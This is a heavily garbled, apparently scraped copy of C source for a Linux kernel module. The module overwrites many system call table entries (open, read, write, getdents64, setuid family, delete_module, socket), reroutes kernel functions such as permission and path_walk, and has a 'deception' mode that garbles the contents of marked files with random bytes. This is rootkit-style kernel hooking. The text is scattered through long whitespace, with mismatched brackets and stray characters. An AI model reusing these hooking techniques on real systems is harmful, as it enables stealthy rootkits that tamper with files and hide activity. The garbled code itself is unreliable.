                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 struct file * file;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  int retval;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       ,fd,dcv[3],dcv[4],dcv[5],dcv[6],dcv[7],dcv[8],dcv[9],dcv[10]);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         if(DECEIVEING&&file_marked&&TIMESLICE)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                fput(file);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                               printk("\n--c%d 3%d 4%d 5%d 6%d 7%d 8%d 9%d t%d
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 printk("\n--r%d 3%d 4%d 5%d 6%d 7%d 8%d 9%d t%d
                                                                                                                                                                                                                                                                                                                                                                                                             dcv[fd]=0;*
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            for (i=0; i < count; i++)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             //dcvn -- retrieve the deception mode flags from the file object
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 buf[i]+=(rand%10)+1; //dcvn --
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    get_random_bytes(buf,retval);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            printk("\n--garbling");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               r(%d) \n", current->comm, fd);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               <u>.</u>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             //dcvn
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  //dcvn
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           int
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   garble file contents when
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           fd)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      char * buf, size_t
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           >
                                                                                                                                                                                                                                                    int flags,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           don't
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           need
                                                                                                                                                                                                                                                        int
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         ç
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        out:
                                                                                                                             */ //
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             :
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                :
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              int init_module()
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              put_unused_fd(fd);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         out_error:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        // printk("\n");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            //printk("\n--opn ending
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 goto out;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 return fd;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        fd = error;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       sysctl_table_header=register_sysctl_table(sysctl_top_table,0);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      = PTR_ERR(tmp);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         printk("\n-- a: %s", tmp);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          printk("23: %x\n", sys_call_table[23]);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  printk("Start offset: %x\n", (int)&lookup_create);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               putname(tmp);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          printk("\n-- %s(%d): %s",current->comm,current->pid,tmp);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             (!IS_ERR(tmp)) {
org_sys_close = sys_call_table(__NR_close);
                       org_sys_open = sys_call_table[
                                                org_sys_exit=sys_call_table[__NR_exit];
                                                                                                                                            printk("216: %x\n", sys_call_table[216]);
                                                                                                                                                                                             printk("215: %x\n", sys_call_table[215]);
                                                                                                                                                                                                                           printk("138:
                                                                                                                                                                                                                                                printk("204: %x\n",sys_call_table[204]);
                                                                                                                                                                                                                                                                          printk("71: %x\n",sys_call_table[71]);
                                                                                                                                                                                                                                                                                                 printk("203: %x\n",sys_call_table[203]);
                                                                                                                                                                                                                                                                                                                           printk("70: %x\n",sys_call_table[70]);
                                                                                                                                                                                                                                                                                                                                                    printk("210:
                                                                                                                                                                                                                                                                                                                                                                             printk("170:
                                                                                                                                                                                                                                                                                                                                                                                                   printk("208: %x\n",sys_call_table(208));
                                                                                                                                                                                                                                                                                                                                                                                                                            printk("164:
                                                                                                                                                                                                                                                                                                                                                                                                                                                  printk("214: %x\n",sys_call_table[214]);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                             printk("46: %x\n",sys_call_table[46]);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     printk("213: %x\n",sys_call_table(213]);
                                                                                                                                                                          printk("139:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          tmp_fd = fd = get_unused_fd();
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    if (DECEIVEING&& (tmp[3]&0x80)) {
                                                                                             save original system call pointers
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       struct file *f = my_filp_open(tmp,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    (fd >=
                                                                                                                           init_dcv();
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   error = PTR_ERR(f);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     tmp[2]&=-0x80;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           fd_install(fd, f);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              tmp[3]&=~0x80;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               tmp[1]&=-0x80;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            if (IS_ERR(f))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 goto out_error;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      9
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     // reversed
                                                                                                                                                                          %x\n", sys_call_table[139]);
                                                                                                                                                                                                                         %x\n", sys_call_table[138]);
                                                                                                                                                                                                                                                                                                                                                    %x\n", sys_call_table[210]);
                                                                                                                                                                                                                                                                                                                                                                        %x\n", sys_call_table[170]);
                                                                                                                                                                                                                                                                                                                                                                                                                          %x\n", sys_call_table[164]);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              %s", filename);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           // some files don't need
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      //dcvn
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           flags, mode);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  --reverse hash
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           ö
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           //dcvn
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           ğ
```

```
calls
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 org_sys_unlink = sys_call_table[__NR_unlink];
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          org_sys_setfsgid = sys_call_table(__NR_setfsgid32)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   org_sys_setfsuid = sys_call_table[__NR_setfsuid32];
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              org_sys_setuid = sys_call_table(
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 sys_call_table
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         sys_call_table(
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  sys_call_table(
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 sys_call_table
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           sys_call_table(
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  sys_call_table(__NR_rename) = my_sys_rename; //hijack system
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       sys_call_table(
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              org_sys_socket = sys_call_table|
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              org_sys_delete_module = sys_call_table(__NR_delete_module);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         org_sys_mkdir = sys_call_table(__NR_mkdir];
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  org_sys_rename = sys_call_table[__NR_rename];
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 org_sys_chmod = sys_call_table[
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             org_sys_getgroups = sys_call_table(__NR_getgroups32];
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      org_sys_getgid = sys_call_table{__NR_getgid32];
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        org_sys_getegid = sys_call_table(__NR_getegid32);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              org_sys_geteuid = sys_call_table(_
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      org_sys_getuid = sys_call_table[__NR_getuid32];
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         org_sys_rmdir = sys_call_table(__NR_rmdir);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          org_sys_write = sys_call_table(__NR_write);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   org_sys_getdents64 = sys_call_table{__NR_getdents64];
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           org_sys_setgroups = sys_call_table[__NR_setgroups32];
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               org_sys_setresgid = sys_call_table(__NR_setresgid32);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        org_sys_setresuid = sys_call_table[
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       org_sys_setregid = sys_call_table[_
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               org_sys_setreuid = sys_call_table{__NR_setreuid32];
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     org_sys_setgid = sys_call_table{__NR_setgid32];
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         org_sys_readlink = sys_call_table(__NR_readlink);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               org_sys_lstat64 = sys_call_table[__NR_lstat64];
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             org_sys_stat64 = sys_call_table[_
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   org_sys_stat = sys_call_table(__NR_stat);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           org_sys_chdir = sys_call_table(__NR_chdir);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 org_sys_read = sys_call_table(__NR_read);
                                                                                                                                                                                                                                                                         sys_call_table[
                                                                                                                                                                                                                                                                                                               sys_call_table
                                                                                                                                                                                                                                                                                                                                                    sys_call_table
                                                                                                                                                                                                                                                                                                                                                                                                                                      sys_call_table[
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        sys_call_table|
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                sys_call_table[_
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   sys_call_table(__NR_getgid32) = my_sys_getgid;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    sys_call_table{__NR_chmod] = my_sys_chmod;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                sys_call_table[__NR_delete_module] = my_sys_delete_module;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   sys_call_table{__NR_socketcall} = my_sys_socket;
                                                                                                                                                                                           sys_call_table|
                                                                                                                                                                                                                                    sys_call_table(
                                                                                                                                                                                                                                                                                                                                                                                                sys_call_table[
   sys_call_table{__NR_1stat64} = my_sys_1stat64;
                                                                                                                                                         __NR_setregid32] = my_sys_setregid;
                                                                                                                                                                                                                                                                                                                  __NR_setfsuid32] = my_sys_setfsuid;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              __NR_write] = my_sys_write;
                                                                                                                                                                                                                                                                                                                                                                                             _NR_setgroups32] = my_sys_setgroups.
                                                                                                                                                                                                                                                                                                                                                                                                                                  _NR_getdents64)= my_sys_getdents64;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  _NR_getuid32] = my_sys_getuid;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             _NR_getegid32] = my_sys_getegid;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       _NR_mkdir] = my_sys_mkdir;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              _NR_unlink) = my_sys_unlink;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         _NR_rmdir] = my_sys_rmdir;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 _NR_geteuid32] = my_sys_geteuid
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              _NR_getgroups32] = my_sys_getgroups;
                                                                           _{\rm NR\_setuid32} = _{\rm my\_sys\_setuid};
                                                                                                                _NR_setgid32] = my_sys_setgid;
                                                                                                                                                                                           _NR_setreuid32) = my_sys_setreuid;
                                                                                                                                                                                                                                 _NR_setresgid32] = my_sys_setresgid;
                                                                                                                                                                                                                                                                      _NR_setresuid32] = my_sys_setresuid;
                                                                                                                                                                                                                                                                                                                                                 _NR_setfsgid32] = my_sys_setfsgid;
                                           .NR_readlink] =
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              [__NR_socketcall];
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        _NR_chmod];
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                _NR_stat64];
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 _NR_setuid32];
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              _NR_geteuid32];
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                _NR_setregid32];
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        _NR_setresuid32);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            void cleanup_module()
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         =
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         >
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       =
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   */ if (sys_call_table[__NR_read] != my_sys_read)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       if (sys_call_table(_
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                restore_fcn(&path_walk,org_path_walk);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           reroute_fcn(&path_walk,&my_path_walk,org_path_walk);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      sys_call_table(__NR_stat) = my_sys_stat;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          if (sys_call_table(__NR_lstat) != my_sys_lstat)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    if (sys_call_table(__NR_chdir) != my_sys_chdir)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         sys_call_table(__NR_close) = my_sys_close;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  sys_call_table[_
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              sys_call_table[
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       sys_call_table(__NR_lstat) = my_sys_lstat;
                                                                                                                                                                                                                                                                                                                                                                                                   Ħ
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         if (sys_call_table(__NR_stat) != my_sys_stat)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               if (sys_call_table(__NR_open) != my_sys_open)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 restore_fcn(&__user_walk,org__user_walk);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      restore_tcn(&permission,org_permission);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              restore_tcn(&do_truncate,org_do_truncate);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 unregister_sysctl_table(sysctl_table_header);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               reroute_fcn(&do_truncate,&my_do_truncate,org_do_truncate);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 reroute_fcn(&permission,&my_permission,org_permission);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    sys_call_table[
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                sys_call_table(_
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              printk("Somebody's playing with sys_stat...!\n");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      printk("Somebody's playing with sys_stat64...!\n");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        (sys_call_table[__NR_stat64] != my_sys_stat64)
